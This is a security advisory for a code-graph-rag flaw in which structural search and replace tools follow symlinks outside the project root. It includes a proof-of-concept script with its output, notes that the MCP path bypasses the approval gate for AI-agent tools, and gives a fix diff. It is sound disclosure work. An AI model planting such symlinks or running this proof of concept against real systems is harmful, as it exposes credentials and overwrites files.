OFFLINE
Awaiting data
GitHub Advisories service status
MajoractiveSecurity

CVE-2026-87008: Code Graph RAG structural tools follow out-of-root symlinks

A remote/local attacker who can get a symbolic link included in a source-code repository that code-graph-rag analyzes can cause the `structural_search` and `structural_replace` tools (backed by `AstGrepService`, exposed both as MCP tools and as agentic AI tools) to read and -- via `structural_replace` with `dry_run=False` -- overwrite arbitrary files outside the configured project root, because the tool's path-containment check (`should_skip_path`/`_classify_file`) is performed lexically on the unresolved path and never checks `Path.is_symlink()` or calls `.resolve()`, unlike the project's own (correct) `validate_project_path` decorator used elsewhere. Tested at commit `90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57` (pyproject version 0.0.550), current `main` at test time. Confirmed this commit already contains the fix for the prior advisory (GHSA-vvr2-h2jp-838m: paginated `read_file` path traversal) and the newer HTTP-MCP bearer-auth gate (`_validate_http_exposure` in `codebase_rag/mcp/server.py`) -- this is a distinct, still-open issue on top of those fixes, in a different component with a different root cause and a strictly worse impact (write, not just read). ## Details `AstGrepService` (`codebase_rag/tools/ast_grep_service.py`) backs both the `structural_search` and `structural_replace` MCP/agentic tools. It enumerates candidate files with `os.walk()` and gates each path only through `should_skip_path()`: - `codebase_rag/tools/ast_grep_service.py:84-109` (`_iter_source_files`) -- walks `self.project_root` with `os.walk()`; every non-directory dirent returned (including a symlink pointing anywhere on disk) is treated as an in-scope file. - `codebase_rag/tools/ast_grep_service.py:61-82` (`_classify_file`) -- the only containment check is `should_skip_path(...)` followed by `abs_path.relative_to(self.project_root)` (line 82); `abs_path` is never resolved, so this check is purely lexical/string-based. - `codebase_rag/utils/path_utils.py:80-109` (`should_skip_path`) and `codebase_rag/utils/path_utils.py:35-37` (`cached_relative_path`) -- computes `rel_path = file_path.relative_to(repo_path)` without ever calling `.resolve()` or `Path.is_symlink()`. - Read sink: `codebase_rag/tools/ast_grep_service.py:143-144` (`search`) -- `source = self._read(abs_path)` calls `path.read_text()`, which Python follows through the symlink to its real target. - Write sink: `codebase_rag/tools/ast_grep_service.py:187-208` (`replace`), line 208 -- `abs_path.write_text(new_source, ...)` when `dry_run=False`, again following the symlink and overwriting the real target file's content. This is inconsistent with how the rest of the codebase handles the exact same class of risk. The file read/write/edit tools (`file_reader.py`, `file_writer.py`, `file_editor.py`) are all protected by `validate_project_path` (`codebase_rag/decorators.py:73-75`): ```python full_path = (self.project_root / file_path_str).resolve() project_root = self.project_root.resolve() full_path.relative_to(project_root) ``` `.resolve()` follows symlinks before the containment check runs, so those tools correctly reject an out-of-root target. `path_utils.py`'s own `absolute_path_within_project_root()` (`codebase_rag/utils/path_utils.py:156-176`) documents the same principle explicitly in its docstring: "The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root." -- but `should_skip_path()`/`AstGrepService` never applies that pattern. **Reachability:** `structural_search` (`codebase_rag/tools/structural_search.py:24-46`) carries no `requires_approval` flag at all -- in AI-orchestrator mode the model can call it autonomously with no human confirmation. `structural_replace` (`codebase_rag/tools/structural_editor.py:52-57`) is marked `requires_approval=True`, but that flag is only enforced by pydantic-ai's own agent loop -- the MCP server path bypasses it entirely: `MCPToolsRegistry.structural_replace` (`codebase_rag/mcp/tools.py:586-596`) calls `self._structural_editor_tool.function(...)` directly, registered with no approval concept at `codebase_rag/mcp/tools.py:369-388`. Any MCP client that can call tools can invoke `structural_replace` with `dry_run=False` in one shot. ## Proof of Concept Dynamically confirmed against the installed package (mgclient/pymgclient mocked, as in the prior advisory's own PoC, since the Memgraph native client isn't needed for this code path). ```bash mkdir -p /tmp/poc_symlink/safe-project-root cat > /tmp/poc_symlink/outside-secret.py << 'EOF' API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890" def get_token(): return API_TOKEN EOF ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py ``` ```python import sys from pathlib import Path from unittest.mock import MagicMock sys.modules["mgclient"] = MagicMock() sys.modules["pymgclient"] = MagicMock() from codebase_rag.tools.ast_grep_service import AstGrepService SAFE_ROOT = "/tmp/poc_symlink/safe-project-root" svc = AstGrepService(project_root=SAFE_ROOT) matches = svc.search(pattern="API_TOKEN", language="python") # -> match in reported file='linked_module.py' text='API_TOKEN' (read escape) changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE", language="python", dry_run=False) print(Path("/tmp/poc_symlink/outside-secret.py").read_text()) ``` Actual run output: ``` [*] Calling AstGrepService.search('API_TOKEN', language='python') ... match in reported file='linked_module.py' text='API_TOKEN' match in reported file='linked_module.py' text='API_TOKEN' [+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by structural_search(), attributed to a path 'inside' the project root. [*] Calling AstGrepService.replace(pattern='API_TOKEN', rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ... wrote change to reported file='linked_module.py' matches=2 [*] Outside file content AFTER structural_replace: ------------------------------------------------------------ # Simulated sensitive file OUTSIDE the analyzed project root PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890" def get_token(): return PWNED_BY_STRUCTURAL_REPLACE ------------------------------------------------------------ [+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root (/tmp/poc_symlink/safe-project-root) was modified by structural_replace via a symlink placed inside the root. ``` ## Impact Any operator who points `cgr` (CLI, agentic `ask_agent` mode, or MCP `structural_search`/`structural_replace` tools) at a repository they did not fully audit -- the exact use case this tool is built for ("query, understand, and edit multi-language codebases") -- can have that repository's planted symlink used to: - Disclose the contents of any file readable by the `cgr` process (credentials, SSH keys, `.env` files, sibling project source), via `structural_search`, with no approval gate at all. - Overwrite the contents of any file writable by the `cgr` process, via `structural_replace(dry_run=False)`, bypassing the tool's own approval gate when called through the MCP protocol. ## Remediation Apply the same resolve-then-contain pattern already used by `validate_project_path` (`codebase_rag/decorators.py:73-75`) and `absolute_path_within_project_root` (`codebase_rag/utils/path_utils.py:156-176`) to `should_skip_path`. Reject any path whose resolved (symlink-followed) location escapes the resolved project root: ```diff --- a/codebase_rag/utils/path_utils.py +++ b/codebase_rag/utils/path_utils.py @@ def should_skip_path( _is_file = path.is_file() if is_file is None else is_file if _is_file and path.suffix in cs.IGNORE_SUFFIXES: return True + # Reject symlinks (or any path) that resolve outside the project root, + # mirroring validate_project_path's decorator (decorators.py:73-75) and + # absolute_path_within_project_root (this module, below). + try: + path.resolve().relative_to(repo_path.resolve()) + except ValueError: + return True rel_path = cached_relative_path(path, repo_path) ``` Concretely: this one change in `should_skip_path` fixes both `_classify_file` (search) and the `os.walk` filtering in `_iter_source_files` (replace), since both route through it. As defense in depth, `_iter_source_files` could additionally skip symlinked dirents outright (`entry.is_symlink()`) during the `os.walk`. Credit: Dostxodjayev Abdullox (GitHub: squeeze440)

Started

Nov 9, 2026, 10:16 PM UTC

Status

Ongoing

Elapsed

7h 30m

Verified sources

CVSS
7.1